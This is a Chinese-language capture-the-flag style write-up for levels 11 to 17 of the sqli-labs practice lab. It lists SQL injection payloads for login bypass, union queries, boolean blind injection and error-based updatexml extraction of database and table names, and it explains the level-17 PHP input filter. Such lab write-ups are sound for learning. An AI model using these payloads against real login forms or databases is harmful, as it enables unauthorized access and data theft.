sqli-lab———writeup(11~17)
less11
用戶名提交單引號顯示sql語法錯誤,故存在sql注入
根據(jù)單引號報錯,在用戶名和密碼任意行輸入 萬能密碼:‘ or 1=1#
輸入后username語句為:SELECT username, password FROM users WHERE username='' or 1=1; 雙引號
password語句:Select * from admin where username='admin' and password='' or 1=1# 單引號
還有比如:1'union select 1,database()#
less12
輸入雙引號有報出sql語法錯誤
根據(jù)雙引號報錯,語句為:") or 1=1#
less13:
查看注入類型
分別為") or 1=1# 和 ') or 1=1#
兩種方式都分別嘗試過
結(jié)果都一樣,只顯示進入,但是不顯示數(shù)據(jù)庫內(nèi)容
看來又是盲注了
使用語句:username=admin')and left(database(),1)>'a'#&password=任意密碼
二分法或burp工具
less14
引號測試:
username:'")or 1=1# 單引號雙引號
password:")or 1=1# 雙引號
over~
less15
輸入任何內(nèi)容回顯都一樣,判斷為布爾盲注和時間盲注
語句:’ or 1=1#
less16
同15:" or 1=1# 換成雙引號
less17
看源碼:
function check_input($value){if(!empty($value)){// truncation (see comments)$value = substr($value,0,15);}// Stripslashes if magic quotes enabledif (get_magic_quotes_gpc()){$value = stripslashes($value);}// Quote if not a numberif (!ctype_digit($value)){$value = "'" . mysql_real_escape_string($value) . "'";}else{$value = intval($value);}return $value;}知識點:
函數(shù)get_magic_quotes_gpc()
當magic_quotes_gpc=On的時候,函數(shù)get_magic_quotes_gpc()就會返回1
當magic_quotes_gpc=Off的時候,函數(shù)get_magic_quotes_gpc()就會返回0
magic_quotes_gpc函數(shù)在php中的作用是判斷解析用戶提示的數(shù)據(jù),如包括有:post、get、cookie過來的數(shù)據(jù)增加轉(zhuǎn)義字符“\”,以確保這些數(shù)據(jù)不會引起程序,特別是數(shù)據(jù)庫語句因為特殊字符引起的污染而出現(xiàn)致命的錯誤。
在magic_quotes_gpc = On的情況下,如果輸入的數(shù)據(jù)有
單引號(’)、雙引號(”)、反斜線(\)與 NULL(NULL 字符)等字符都會被加上反斜線。
stripslashes()刪除由 addslashes() 函數(shù)添加的反斜杠
ctype_digit()判斷是不是數(shù)字,是數(shù)字就返回true,否則返回false
mysql_real_escape_string()轉(zhuǎn)義 SQL 語句中使用的字符串中的特殊字符。
intval() 整型轉(zhuǎn)換
這一關(guān)中不能對username下手 要從passwordd開始
過程:
17關(guān)對username進行了嚴格的過濾
注入的格式:
admin' or updatexml(1, (concat('#',(payload))), 1) #payload可以換成需要查詢的函數(shù)
數(shù)據(jù)庫名
admin' or updatexml(1, concat('#', database()), 1) #表名
updatexml(1, concat("#", (select group_concat(table_name) from information_schema.tables where table_schema="security")), 0) #總結(jié)
以上是生活随笔為你收集整理的sqli-lab———writeup(11~17)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 朗姿股份最新消息 大股东将要减持
- 下一篇: 京东金条不还会有什么后果